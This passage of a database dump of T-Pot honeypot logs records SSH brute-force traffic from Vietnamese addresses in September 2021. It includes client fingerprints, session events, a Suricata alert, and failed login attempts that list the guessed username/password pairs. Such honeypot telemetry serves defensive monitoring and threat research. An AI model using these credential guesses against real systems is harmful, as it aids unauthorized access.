"b09f9b09a3bd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:48.977994Z", "@timestamp": "2021-09-20T11:08:48.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24360	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:49.037232+03	2021-09-20 14:15:08.682511+03	{"_id": "xwbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/live] failed", "session": "7c0494b9f2df", "@version": "1", "password": "live", "username": "root", "timestamp": "2021-09-20T11:08:49.037232Z", "@timestamp": "2021-09-20T11:08:49.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24361	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:49.055293+03	2021-09-20 14:15:08.683501+03	{"_id": "yAbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [jack/jack75] failed", "session": "85cb1bd88dfc", "@version": "1", "password": "jack75", "username": "jack", "timestamp": "2021-09-20T11:08:49.055293Z", "@timestamp": "2021-09-20T11:08:49.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24362	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:49.056721+03	2021-09-20 14:15:08.6855+03	{"_id": "yQbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "17b84e30fa5b", "@version": "1", "duration": 2.458089590072632, "timestamp": "2021-09-20T11:08:49.056721Z", "@timestamp": "2021-09-20T11:08:49.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24363	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:49.075067+03	2021-09-20 14:15:08.68647+03	{"_id": "ygbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "92f2891da160", "@version": "1", "timestamp": "2021-09-20T11:08:49.075067Z", "@timestamp": "2021-09-20T11:08:49.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24370	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:50.33869+03	2021-09-20 14:15:08.69547+03	{"_id": "3QbkAnwBvYTbRNuE7xPO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "85cb1bd88dfc", "@version": "1", "duration": 7.341609477996826, "timestamp": "2021-09-20T11:08:50.338690Z", "@timestamp": "2021-09-20T11:08:50.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24364	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:49.193582+03	2021-09-20 14:15:08.688471+03	{"_id": "ywbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b09f9b09a3bd", "@version": "1", "timestamp": "2021-09-20T11:08:49.193582Z", "@timestamp": "2021-09-20T11:08:49.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24365	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:49.301817+03	2021-09-20 14:15:08.689522+03	{"_id": "zAbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "dba6d2dc9982", "@version": "1", "duration": 4.832010507583618, "timestamp": "2021-09-20T11:08:49.301817Z", "@timestamp": "2021-09-20T11:08:49.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24366	fe80:0000:0000:0000:c2ee:fbff:fedc:38af	109.199.241.180	Suricata	2021-09-20 14:08:49.333695+03	2021-09-20 14:15:08.6905+03	{"_id": "zQbkAnwBvYTbRNuE7hM-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:48.432646+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:c2ee:fbff:fedc:38af", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1218202709301766, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:08:49.333695Z", "@timestamp": "2021-09-20T11:08:49.333Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
24367	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:50.117723+03	2021-09-20 14:15:08.691502+03	{"_id": "1QbkAnwBvYTbRNuE7xPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dcaf49ffb6d6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:50.117723Z", "@timestamp": "2021-09-20T11:08:50.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24368	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:49.629466+03	2021-09-20 14:15:08.6935+03	{"_id": "2wbkAnwBvYTbRNuE7xPO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "47f9d15d9dcb", "@version": "1", "duration": 3.2021243572235107, "timestamp": "2021-09-20T11:08:49.629466Z", "@timestamp": "2021-09-20T11:08:49.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24369	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.227028+03	2021-09-20 14:15:08.69447+03	{"_id": "3AbkAnwBvYTbRNuE7xPO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 9 seconds", "session": "5e14029ee594", "@version": "1", "duration": 9.590485572814941, "timestamp": "2021-09-20T11:08:50.227028Z", "@timestamp": "2021-09-20T11:08:50.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24372	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.186304+03	2021-09-20 14:15:08.69747+03	{"_id": "7wbkAnwBvYTbRNuE7xPT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [boss/boss] failed", "session": "92f2891da160", "@version": "1", "password": "boss", "username": "boss", "timestamp": "2021-09-20T11:08:50.186304Z", "@timestamp": "2021-09-20T11:08:50.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24373	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:50.213455+03	2021-09-20 14:15:08.699501+03	{"_id": "8QbkAnwBvYTbRNuE8hMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 310233738053899, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40604, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.213455Z", "@timestamp": "2021-09-20T11:08:50.213Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24374	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:50.422579+03	2021-09-20 14:15:08.7005+03	{"_id": "8gbkAnwBvYTbRNuE8hMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2062844535317483, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35938, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.422579Z", "@timestamp": "2021-09-20T11:08:50.422Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24375	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:50.234283+03	2021-09-20 14:15:08.701505+03	{"_id": "8wbkAnwBvYTbRNuE8xMY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sh